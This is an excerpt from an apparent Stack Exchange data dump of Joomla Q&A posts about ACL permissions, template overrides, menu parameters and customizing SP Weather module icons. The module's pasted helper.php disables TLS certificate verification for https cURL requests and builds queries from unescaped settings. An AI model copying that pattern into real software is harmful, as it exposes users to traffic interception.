  <row Id="14606" PostTypeId="2" ParentId="9435" CreationDate="2015-12-09T09:02:49.587" Score="2" Body="&lt;p&gt;We have a feature called &lt;strong&gt;Access Control List (ACL)&lt;/strong&gt;, with this&#xA;you can create&lt;br/&gt; a user groups and assign them permissions to&#xA;access, create, edit or delete &lt;br/&gt;content or modify certains parts &#xA;of your site like articles, categories, modules,&lt;br/&gt; global configurations, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, we have the user group &lt;strong&gt;&quot;Author&quot;&lt;/strong&gt;, in the screenshot you can see a&lt;br/&gt;&#xA; category called &lt;strong&gt;&quot;Blog&quot;&lt;/strong&gt;, in the &lt;strong&gt;&quot;Permissions&quot;&lt;/strong&gt; tab we can allow or denied actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/U3kUj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/U3kUj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here some docs:&#xA;&lt;a href=&quot;https://docs.joomla.org/ACL&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/ACL&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here a full example:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards!&lt;/p&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="7394" LastEditDate="2020-05-14T21:55:14.383" LastActivityDate="2020-05-14T21:55:14.383" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14607" PostTypeId="2" ParentId="14093" CreationDate="2015-12-09T09:41:00.953" Score="2" Body="&lt;p&gt;The best way for make this changes is making an &lt;strong&gt;override&lt;/strong&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, here some docs for make the override step by step: &lt;br/&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you need to create an override in the column:&lt;br&gt;&#xA;&lt;strong&gt;Components&lt;/strong&gt; &gt; &lt;strong&gt;com_search&lt;/strong&gt; &gt; &lt;strong&gt;search&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the files in:&lt;br&gt;&#xA;&lt;em&gt;yoursite/templates/yourtemplate/html/com_search/search&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For the first grey block edit &lt;strong&gt;default_form.php&lt;/strong&gt;  &lt;/li&gt;&#xA;&lt;li&gt;For the results area edit &lt;strong&gt;default_results.php&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Best Regards!&lt;/p&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="7394" LastEditDate="2020-05-14T21:57:31.500" LastActivityDate="2020-05-14T21:57:31.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14608" PostTypeId="2" ParentId="14562" CreationDate="2015-12-09T09:47:10.637" Score="1" Body="&lt;p&gt;You also can add an image in the &lt;strong&gt;Image Button&lt;/strong&gt; at the bottom,&lt;br/&gt;&#xA;see the screenshot. From here you can add your image title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5oCUx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5oCUx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards!&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2015-12-09T09:47:10.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14609" PostTypeId="2" ParentId="14093" CreationDate="2015-12-09T10:22:10.813" Score="2" Body="&lt;p&gt;Best option will be if you use &lt;a href=&quot;https://www.mozilla.org/en-US/firefox/new/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Mozilla Firefox&lt;/strong&gt;&lt;/a&gt;, and then install the add-on extension &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/web-developer/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WebDeveloper&lt;/strong&gt;&lt;/a&gt;.&#xA;That extension will help you a lot with discovering where are you on your HTML code, which CSS class/id is assigned to that specific line, and then easily you can edit your CSS code and see in &quot;live&quot; what you are getting by changing parameters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the same time if you need to modify layout itself, then I suggest overriding existing template. But for visual effects only, CSS and WebDeveloper extension will help you a lot.&lt;/p&gt;&#xA;" OwnerUserId="7380" LastEditorUserId="126" LastEditDate="2015-12-09T12:16:51.647" LastActivityDate="2015-12-09T12:16:51.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14610" PostTypeId="2" ParentId="14249" CreationDate="2015-12-09T10:27:20.930" Score="0" Body="&lt;p&gt;Instead to change core files, which will be updated probably on next joomla release, and there you need to do the same thing again, I'm suggesting you to use CSS override instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.windowclass {min-height: 1000px;height: 1000px !important}&lt;/p&gt;&#xA;" OwnerUserId="7380" LastActivityDate="2015-12-09T10:27:20.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14611" PostTypeId="1" AcceptedAnswerId="14612" CreationDate="2015-12-09T11:25:40.693" Score="0" ViewCount="424" Body="&lt;p&gt;I have installed the weather module SP weather but I woul like to change the weather icons with someone created by me and installed into a folder of the root of my website: example: mywebsite/images/weathericons&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The native file of &quot;SP wether module&quot; that control the icons is the helper.php but I am not able to change and let it works with my icons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*------------------------------------------------------------------------&#xA;# mod_sp_weather - Weather Module by JoomShaper.com&#xA;# ------------------------------------------------------------------------&#xA;# author    JoomShaper http://www.joomshaper.com&#xA;# Copyright (C) 2010 - 2014 JoomShaper.com. All Rights Reserved.&#xA;# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL&#xA;# Websites: http://www.joomshaper.com&#xA;-------------------------------------------------------------------------*/&#xA;&#xA;// no direct access&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;class modSPWeatherHelper&#xA;{    &#xA;    private $data = array();&#xA;    private $forecast = array();&#xA;    private $woeid;&#xA;    private $location;&#xA;    private $params;&#xA;    private $moduleID;&#xA;    private $moduledir;&#xA;    private $nightIDs = array(27,29,31,33);&#xA;    private $iconURL = 'http://l.yimg.com/os/mit/media/m/weather/images/icons/l/%d%s-100567.png';&#xA;&#xA;&#xA;&#xA;&#xA;    /**&#xA;    * Init Class Params&#xA;    * &#xA;    * @param object $params&#xA;    * @param int $id&#xA;    */&#xA;    public function __construct($params, $id)&#xA;    {&#xA;        jimport('joomla.filesystem.file');&#xA;        jimport('joomla.filesystem.folder');&#xA;        $this-&amp;gt;params    = $params;&#xA;        $this-&amp;gt;moduleID  = $id;&#xA;        $this-&amp;gt;moduledir = basename(dirname(__FILE__));&#xA;        $this-&amp;gt;getWoeId();&#xA;        $this-&amp;gt;data      = $this-&amp;gt;_getWeatherData();&#xA;        $this-&amp;gt;forecast  = $this-&amp;gt;_getForecastData();&#xA;    }&#xA;&#xA;&#xA;    /**&#xA;    * Error Container array&#xA;    * &#xA;    * @var array&#xA;    */&#xA;    private $errors = array();&#xA;&#xA;    /**&#xA;    * Get Errors, If index is null errors stored as numeric array.&#xA;    * &#xA;    * @param int | string $index    default is NULL&#xA;    * @return mixed&#xA;    */&#xA;    public function error($index=null)&#xA;    {&#xA;        if( !empty($this-&amp;gt;errors) )&#xA;        {&#xA;            if( is_null($index) ) return  $this-&amp;gt;errors; &#xA;            else&#xA;            {&#xA;                if( is_null($this-&amp;gt;errors[$index]) ) return false;&#xA;                else return  $this-&amp;gt;errors[$index]; &#xA;            } &#xA;        } &#xA;        else return false;&#xA;    }&#xA;&#xA;&#xA;    /**&#xA;    * Set errors in error variable. If index is null errors stored as numeric array.&#xA;    * &#xA;    * @param mixed $msg&#xA;    * @param mixed $index     default is null. &#xA;    */&#xA;    public function setError($msg, $index=null)&#xA;    {&#xA;        if( is_null($index) ) $this-&amp;gt;errors[] = $msg;&#xA;        else $this-&amp;gt;errors[$index] = $msg;&#xA;&#xA;    }&#xA;&#xA;    /**&#xA;    * PHP CURL function&#xA;    * &#xA;    * @param string $url&#xA;    * @param array $query   default is array&#xA;    * @return string&#xA;    */&#xA;    private function getCurl($url, $query=array())&#xA;    {&#xA;        $requestURL =  $url;&#xA;&#xA;        if( !empty($query) and is_array($query) ) $requestURL .= '?'. http_build_query($query,'','&amp;amp;');&#xA;&#xA;        if (function_exists('curl_init'))&#xA;        {&#xA;            // initializing connection&#xA;            $curl = curl_init();&#xA;            // saves us before putting directly results of request&#xA;            curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);&#xA;            // url to get&#xA;            curl_setopt($curl, CURLOPT_URL, $requestURL );&#xA;            // timeout in seconds&#xA;            curl_setopt($curl, CURLOPT_TIMEOUT, 60);&#xA;            // set useragent&#xA;            curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);&#xA;            if( strtolower(substr( $requestURL , 0, 5))==='https' )&#xA;            {&#xA;                curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);&#xA;                curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);&#xA;            }&#xA;            // execute curl&#xA;            $data = curl_exec($curl);&#xA;            // closing connection&#xA;            $error = trim(curl_error($curl)); &#xA;            curl_close($curl);&#xA;            if( !empty($error) ) $this-&amp;gt;setError('&quot;'.$error.'&quot; in module &quot;'.$this-&amp;gt;moduledir.'&quot;');&#xA;            return $data;&#xA;        }&#xA;        else&#xA;        {&#xA;            $this-&amp;gt;setError('cURL extension is not available on your server.  in module &quot;'.$this-&amp;gt;moduledir.'&quot;');&#xA;        }&#xA;    }&#xA;&#xA;&#xA;    /**&#xA;    * Simple caching function&#xA;    * @version  1.3&#xA;    * @param string $file&#xA;    * @param string | array $datafn                  e.g:  functionname |  array( object, function) ,&#xA;    * @param array  $datafnarg    default is array  e.g:   array( arg1, arg2, ...) ,       &#xA;    * @param mixed $time         default is 900  = 15 min&#xA;    * @param mixed $onerror      string function or array(object, method )&#xA;    * @return string&#xA;    */&#xA;    private function Cache( $file,  $datafn, $datafnarg=array(), $time=900, $onerror='')&#xA;    {&#xA;&#xA;        if (is_writable(JPATH_CACHE))&#xA;        {&#xA;            // check cache dir or create cache dir&#xA;            if (!JFolder::exists(JPATH_CACHE.'/'.$this-&amp;gt;moduledir))&#xA;            {&#xA;&#xA;                JFolder::create(JPATH_CACHE.'/'.$this-&amp;gt;moduledir.'/'); &#xA;            }&#xA;&#xA;            $cache_file = JPATH_CACHE.'/'.$this-&amp;gt;moduledir.'/'.$this-&amp;gt;moduleID.'-'.$file;&#xA;&#xA;            // check cache file, if not then write cache file&#xA;            if ( !JFile::exists($cache_file) )&#xA;            {&#xA;&#xA;                $data =  call_user_func_array($datafn, $datafnarg);&#xA;                JFile::write($cache_file, $data);&#xA;            }  &#xA;            // if cache file expires, then write cache&#xA;            elseif ( filesize($cache_file) == 0 || ((filemtime($cache_file) + (int) $time ) &amp;lt; time()) )&#xA;            {&#xA;                $data =  call_user_func_array($datafn, $datafnarg);&#xA;                JFile::write($cache_file, $data);&#xA;            }&#xA;            // read cache file&#xA;            $data =  JFile::read($cache_file);&#xA;            $params['file'] = $cache_file;&#xA;            $params['data'] = $data;&#xA;            if( !empty($onerror) ) call_user_func($onerror, $params);&#xA;            return $data;&#xA;        } else {&#xA;            return   call_user_func_array($datafn, $datafnarg);&#xA;        }&#xA;    }&#xA;&#xA;&#xA;    private function onDataError($params)&#xA;    {&#xA;        $data = json_decode($params['data'],true);&#xA;&#xA;        if( isset($data['code']) and $data['code']==500 )&#xA;        {&#xA;            JFile::Delete($params['file']); &#xA;            $this-&amp;gt;setError('Cannot retrive data in module  &quot;'. $this-&amp;gt;moduledir.'&quot;.');&#xA;        } &#xA;&#xA;    }&#xA;&#xA;&#xA;    private function onForecastError($params)&#xA;    {&#xA;        $data = json_decode($params['data'],true);&#xA;        if( empty($data['query']['results']['item']['forecast']) )&#xA;        {&#xA;            JFile::Delete($params['file']); &#xA;            $this-&amp;gt;setError('Cannot retrive forecast data in module  &quot;'. $this-&amp;gt;moduledir.'&quot;.');&#xA;        } &#xA;&#xA;    }&#xA;&#xA;&#xA;    private function onWoeIdError($params)&#xA;    {&#xA;        $data = json_decode($params['data'],true);&#xA;        if( is_null( $data['query']['results'] ) ){&#xA;            JFile::Delete($params['file']); &#xA;            $this-&amp;gt;setError( 'Cannot get &quot;'.$this-&amp;gt;params-&amp;gt;get('location').'&quot; woeid in module &quot;'. $this-&amp;gt;moduledir.'&quot;.' ); &#xA;        }&#xA;    }&#xA;&#xA;    private function onLocationError($params)&#xA;    {&#xA;        $data = json_decode($params['data'],true);&#xA;        if( is_null( $data['query']['results'] ) ){&#xA;            JFile::Delete($params['file']); &#xA;            $this-&amp;gt;setError( 'Cannot get &quot;'.$this-&amp;gt;params-&amp;gt;get('location').'&quot; location id in module &quot;'. $this-&amp;gt;moduledir.'&quot;.' );&#xA;        }&#xA;&#xA;    }&#xA;&#xA;    private function makeYQL($query, $param=array('format'=&amp;gt;'json'))&#xA;    {&#xA;        $url   = 'http://query.yahooapis.com/v1/public/yql?q=';&#xA;        $url2   = rawurlencode($query);&#xA;        $url   .= str_replace('%2A','*', $url2 );&#xA;        $url   .= '&amp;amp;'.http_build_query($param,'','&amp;amp;');&#xA;&#xA;&#xA;        return $url;&#xA;    }&#xA;&#xA;&#xA;&#xA;    /**&#xA;    * Get Location woe ID&#xA;    * &#xA;    */&#xA;    private function getWoeId()&#xA;    {&#xA;        $query = &quot;select woeid from geo.places(1) where text='&quot;.$this-&amp;gt;params-&amp;gt;get('location').&quot;'&quot;;&#xA;        $URL = $this-&amp;gt;makeYQL($query);&#xA;&#xA;&#xA;        if( $this-&amp;gt;params-&amp;gt;get('useCache')==='1' )&#xA;        {&#xA;            $data = $this-&amp;gt;Cache(&#xA;                'woeid.json',&#xA;                array($this,'getCurl'),&#xA;                array($URL),&#xA;                (60*60*60),&#xA;                array($this,'onWoeIdError')&#xA;                );&#xA;        } else {&#xA;            $data = $this-&amp;gt;getCurl($URL);&#xA;        }&#xA;&#xA;        $data = json_decode($data,true);&#xA;&#xA;        $this-&amp;gt;woeid = $data['query']['results']['place']['woeid'];&#xA;    }&#xA;&#xA;&#xA;    /**&#xA;    * Get place Location &#xA;    * &#xA;    */&#xA;    private function getLocation()&#xA;    {&#xA;        $query = 'select id from xml where url=&quot;http://xoap.weather.com/search/search?where='.$this-&amp;gt;params-&amp;gt;get('location').'&quot; and itemPath=&quot;search.loc&quot; limit 1';&#xA;        $URL = $this-&amp;gt;makeYQL($query);&#xA;        if( $this-&amp;gt;params-&amp;gt;get('useCache')==='1' )&#xA;        {&#xA;            $data = $this-&amp;gt;Cache(&#xA;                'location.json',&#xA;                array($this,'getCurl'),&#xA;                array($URL),&#xA;                (60*60*60),&#xA;                array($this,'onLocationError')&#xA;                );&#xA;        } else {&#xA;            $data = $this-&amp;gt;getCurl($URL);&#xA;        }&#xA;        $data = json_decode($data,true);&#xA;        $this-&amp;gt;location = $data['query']['results']['loc']['id'];&#xA;    }&#xA;&#xA;&#xA;    /**&#xA;    * Get Weather data&#xA;    * &#xA;    */&#xA;    private function _getWeatherData()&#xA;    {&#xA;&#xA;&#xA;        $query = 'select * from xml where url=&quot;http://weather.yahooapis.com/forecastrss?w='.$this-&amp;gt;woeid.'&amp;amp;u='.$this-&amp;gt;params-&amp;gt;get('tempUnit').'&quot;';&#xA;&#xA;        $URL = $this-&amp;gt;makeYQL($query);&#xA;        if( $this-&amp;gt;params-&amp;gt;get('useCache')==='1' )&#xA;        {&#xA;            $data = $this-&amp;gt;Cache(&#xA;                'weather.json',&#xA;                array($this,'getCurl'),&#xA;                array($URL),&#xA;                (int) $this-&amp;gt;params-&amp;gt;get('cacheTime'),&#xA;                array($this,'onDataError')&#xA;                );&#xA;        } else {&#xA;            $data = $this-&amp;gt;getCurl($URL);&#xA;        }&#xA;&#xA;        return json_decode($data,true);&#xA;    }&#xA;&#xA;    /**&#xA;    * Get Weather data&#xA;    * &#xA;    */&#xA;    private function _getForecastData()&#xA;    {&#xA;&#xA;&#xA;        $data = $this-&amp;gt;_getWeatherData();&#xA;&#xA;        $location = explode('_',$data['query']['results']['rss']['channel']['item']['guid']['content']);&#xA;        $this-&amp;gt;location =  $location[0];&#xA;        $query = 'SELECT * FROM rss WHERE url=&quot;http://xml.weather.yahoo.com/forecastrss/'.$this-&amp;gt;location.'&amp;amp;d='.$this-&amp;gt;params-&amp;gt;get('forecast').'_'.strtolower($this-&amp;gt;params-&amp;gt;get('tempUnit')).'.xml&quot;';&#xA;        $URL = $this-&amp;gt;makeYQL($query);&#xA;&#xA;        if( $this-&amp;gt;params-&amp;gt;get('useCache')==='1' )&#xA;        {&#xA;            $data = $this-&amp;gt;Cache(&#xA;                'forecast.json',&#xA;                array($this,'getCurl'),&#xA;                array($URL),&#xA;                (int) $this-&amp;gt;params-&amp;gt;get('cacheTime'),&#xA;                array($this,'onForecastError')&#xA;                );&#xA;&#xA;        } else {&#xA;            $data = $this-&amp;gt;getCurl($URL);&#xA;        }&#xA;        $data = json_decode($data,true);&#xA;        return $data['query']['results']['item']['forecast'];&#xA;    }&#xA;&#xA;&#xA;    /**&#xA;    * Convert numeric number to language&#xA;    * &#xA;    * @param int | string $number&#xA;    * @return language formatted text&#xA;    */&#xA;    public function Numeric2Lang($number, $prefix = 'SP_')&#xA;    {&#xA;        $number = (array) str_split($number);&#xA;        $formated = '';&#xA;        foreach($number as $no)&#xA;        {&#xA;            if (ctype_digit($no)) {&#xA;                $formated.=JText::_($prefix . $no);    &#xA;            } else $formated.=$no;&#xA;&#xA;&#xA;        }&#xA;        return $formated;&#xA;    }&#xA;&#xA;&#xA;    /**&#xA;    * Weather condition text converter&#xA;    * &#xA;    * @param string $text&#xA;    * @return string&#xA;    */&#xA;    public function txt2lng($text)&#xA;    {&#xA;        $trans = array(&quot; &quot; =&amp;gt; &quot;_&quot;, &quot;/&quot; =&amp;gt; &quot;_&quot;, &quot;(&quot; =&amp;gt; &quot;&quot;, ')'=&amp;gt;'');&#xA;        //return $text;&#xA;        $text = strtr($text, $trans);&#xA;        return JText::_('SP_WEATHER_'.strtoupper($text));&#xA;    }&#xA;&#xA;    /**&#xA;    * Convert temparature&#xA;    * &#xA;    * @param mixed $value&#xA;    * @param mixed $unit&#xA;    * @param mixed $tempType&#xA;    */&#xA;&#xA;    public function convertUnit($value, $unit)&#xA;    {    &#xA;        $txt  = $this-&amp;gt;Numeric2Lang($value);&#xA;        $txt .= ( strtolower($unit)=='c') ? JText::_('SP_WEATHER_'. 'C') : JText::_('SP_WEATHER_'. 'F');&#xA;        return $txt;&#xA;    }    &#xA;&#xA;    /**&#xA;    * weather condition to icon file name&#xA;    * &#xA;    * @param mixed $icon&#xA;    * @param mixed $path&#xA;    */&#xA;    public function icon($condition)&#xA;    {&#xA;        $condition = (int) $condition;&#xA;        $at = in_array($condition, $this-&amp;gt;nightIDs, true)?'n':'d';&#xA;        $icon =  sprintf($this-&amp;gt;iconURL,$condition,$at);&#xA;        return  $icon;&#xA;    } &#xA;&#xA;    /**&#xA;    * weather condition to icon font&#xA;    * &#xA;    * @param mixed $icon&#xA;    * @param mixed $path&#xA;    */&#xA;    public function iconFont($condition) {&#xA;&#xA;        $night      = in_array($condition, $this-&amp;gt;nightIDs, true)?'-night':'';&#xA;&#xA;        $fontIcon   = array(&#xA;            &quot;0&quot;     =&amp;gt; 'other',&#xA;            &quot;1&quot;     =&amp;gt; 'storm',&#xA;            &quot;2&quot;     =&amp;gt; 'storm',&#xA;            &quot;3&quot;     =&amp;gt; 'chance-of-storm',&#xA;            &quot;4&quot;     =&amp;gt; 'thunderstorm',          &#xA;            &quot;5&quot;     =&amp;gt; 'rain-and-snow',&#xA;            &quot;6&quot;     =&amp;gt; 'sleet',&#xA;            &quot;7&quot;     =&amp;gt; 'sleet',     &#xA;            &quot;8&quot;     =&amp;gt; 'rain',    &#xA;            &quot;9&quot;     =&amp;gt; 'rain',     &#xA;            &quot;10&quot;    =&amp;gt; 'rain',&#xA;            &quot;11&quot;    =&amp;gt; 'rain',&#xA;            &quot;12&quot;    =&amp;gt; 'rain',&#xA;            &quot;13&quot;    =&amp;gt; 'chance-of-snow',                               &#xA;            &quot;14&quot;    =&amp;gt; 'snow',&#xA;            &quot;15&quot;    =&amp;gt; 'snow',&#xA;            &quot;16&quot;    =&amp;gt; 'snow',&#xA;            &quot;17&quot;    =&amp;gt; 'chance-of-storm',  &#xA;            &quot;18&quot;    =&amp;gt; 'rain',&#xA;            &quot;19&quot;    =&amp;gt; 'dusty',&#xA;            &quot;20&quot;    =&amp;gt; 'foggy',&#xA;            &quot;21&quot;    =&amp;gt; 'hazy',&#xA;            &quot;22&quot;    =&amp;gt; 'smoke',&#xA;            &quot;23&quot;    =&amp;gt; 'cloudy',&#xA;            &quot;24&quot;    =&amp;gt; 'cloudy',      &#xA;            &quot;25&quot;    =&amp;gt; 'snow',&#xA;            &quot;26&quot;    =&amp;gt; 'cloudy',&#xA;            &quot;27&quot;    =&amp;gt; 'mostly-cloudy',&#xA;            &quot;28&quot;    =&amp;gt; 'mostly-cloudy',&#xA;            &quot;29&quot;    =&amp;gt; 'partly-cloudy',&#xA;            &quot;30&quot;    =&amp;gt; 'partly-cloudy',&#xA;            &quot;31&quot;    =&amp;gt; 'sunny',&#xA;            &quot;32&quot;    =&amp;gt; 'sunny',&#xA;            &quot;33&quot;    =&amp;gt; 'sunny',&#xA;            &quot;34&quot;    =&amp;gt; 'partly-cloudy',&#xA;            &quot;35&quot;    =&amp;gt; 'thunderstorm',&#xA;            &quot;36&quot;    =&amp;gt; 'sunny',&#xA;            &quot;37&quot;    =&amp;gt; 'thunderstorm',&#xA;            &quot;38&quot;    =&amp;gt; 'chance-of-storm',&#xA;            &quot;39&quot;    =&amp;gt; 'chance-of-storm',&#xA;            &quot;40&quot;    =&amp;gt; 'rain',&#xA;            &quot;41&quot;    =&amp;gt; 'snow',&#xA;            &quot;42&quot;    =&amp;gt; 'snow',&#xA;            &quot;43&quot;    =&amp;gt; 'snow',&#xA;            &quot;44&quot;    =&amp;gt; 'partly-cloudy',&#xA;            &quot;45&quot;    =&amp;gt; 'chance-of-storm',&#xA;            &quot;46&quot;    =&amp;gt; 'chance-of-snow',&#xA;            &quot;47&quot;    =&amp;gt; 'chance-of-storm',&#xA;            &quot;3200&quot;  =&amp;gt; 'other'&#xA;            );&#xA;&#xA;            return $fontIcon[$condition] . $night;&#xA;&#xA;    }&#xA;&#xA;    /**&#xA;    * Run function to load data from source&#xA;    * @return string&#xA;    */&#xA;    public function getData()&#xA;    {&#xA;        return $this-&amp;gt;data;&#xA;    }&#xA;&#xA;    /**&#xA;    * Run function to load data from source&#xA;    * @return string&#xA;    */&#xA;    public function getForecastData()&#xA;    {&#xA;        return $this-&amp;gt;forecast;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me to fix this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot since now!!!&lt;/p&gt;&#xA;" OwnerUserId="7396" LastActivityDate="2015-12-09T14:36:02.350" Title="Change icon weather in SP WEATHER module" Tags="|php|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14612" PostTypeId="2" ParentId="14611" CreationDate="2015-12-09T11:40:41.197" Score="1" Body="&lt;p&gt;Quickly looking at the code, I'll explain how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The generic URL for the icons is a string, which is set as a class variable at the top of the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private $iconURL = 'http://l.yimg.com/os/mit/media/m/weather/images/icons/l/%d%s-100567.png';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The string contains 2 variables (&lt;code&gt;%d&lt;/code&gt; and &lt;code&gt;%s&lt;/code&gt;) that are changed based on the weather.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;%d&lt;/code&gt;: is the condition, such as &quot;storm&quot;, &quot;foggy&quot;, &quot;cloudy&quot; etc.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;%s&lt;/code&gt;: is the time of day. &lt;code&gt;n&lt;/code&gt; for night, or &lt;code&gt;d&lt;/code&gt; for day&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once generated, it will call the image from the URL, like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://l.yimg.com/os/mit/media/m/weather/images/icons/l/0n-100567.png&quot; rel=&quot;nofollow&quot;&gt;http://l.yimg.com/os/mit/media/m/weather/images/icons/l/0n-100567.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd like to change the weather icons, I'd suggest changing the class variable &lt;code&gt;$iconURL&lt;/code&gt; at the top of the file so it's:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/images/weathericons/0n-icon.png&quot; rel=&quot;nofollow&quot;&gt;http://example.com/images/weathericons/0n-icon.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you need to make sure you name all your icons like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0d-icon&#xA;0n-icon&#xA;1d-icon&#xA;1n-icon&#xA;2d-icon&#xA;2n-icon&#xA;etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Go to line 429 of your helper.php, where you'll see an array of all the icons&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-12-09T14:36:02.350" LastActivityDate="2015-12-09T14:36:02.350" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14614" PostTypeId="1" CreationDate="2015-12-09T15:11:06.847" Score="8" ViewCount="15761" Body="&lt;p&gt;In my custom component controller I have function save(). At the end it displays message and redirects to url&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;setMessage(JText::_('SOME_TEXT'));&#xA;$this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_foo&amp;amp;view=foo', false));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm having problems to do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;1.Use menu parameter from custom field instead of JText string. If I use this inside of function:&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$menu = $app-&amp;gt;getMenu();&#xA;$active = $menu-&amp;gt;getActive();&#xA;$itemId = $active-&amp;gt;id;&#xA;$message = $active-&amp;gt;params-&amp;gt;get('message');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get notice &amp;amp; error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Notice: Trying to get property of non-object...&#xA;Fatal error: Call to a member function get() on a non-object...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$message is name of my custom menu field defined in xml file. If I call it directly from view, then it's ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;2.Get active menu itemid and use it inside setRedirect().&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get empty itemid in URL if I use it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$menu = $app-&amp;gt;getMenu();&#xA;$active = $menu-&amp;gt;getActive();&#xA;$itemId = $active-&amp;gt;id;&#xA;$this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_foo&amp;amp;view=foo&amp;amp;Itemid='.$itemId, false));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've found a lot of information about calling menu parameters in components but none of it helped me&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-12-29T16:36:14.737" Title="How to get menu parameters and itemid in component controller" Tags="|joomla-3.x|component|menu-parameters|controller|component-params|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
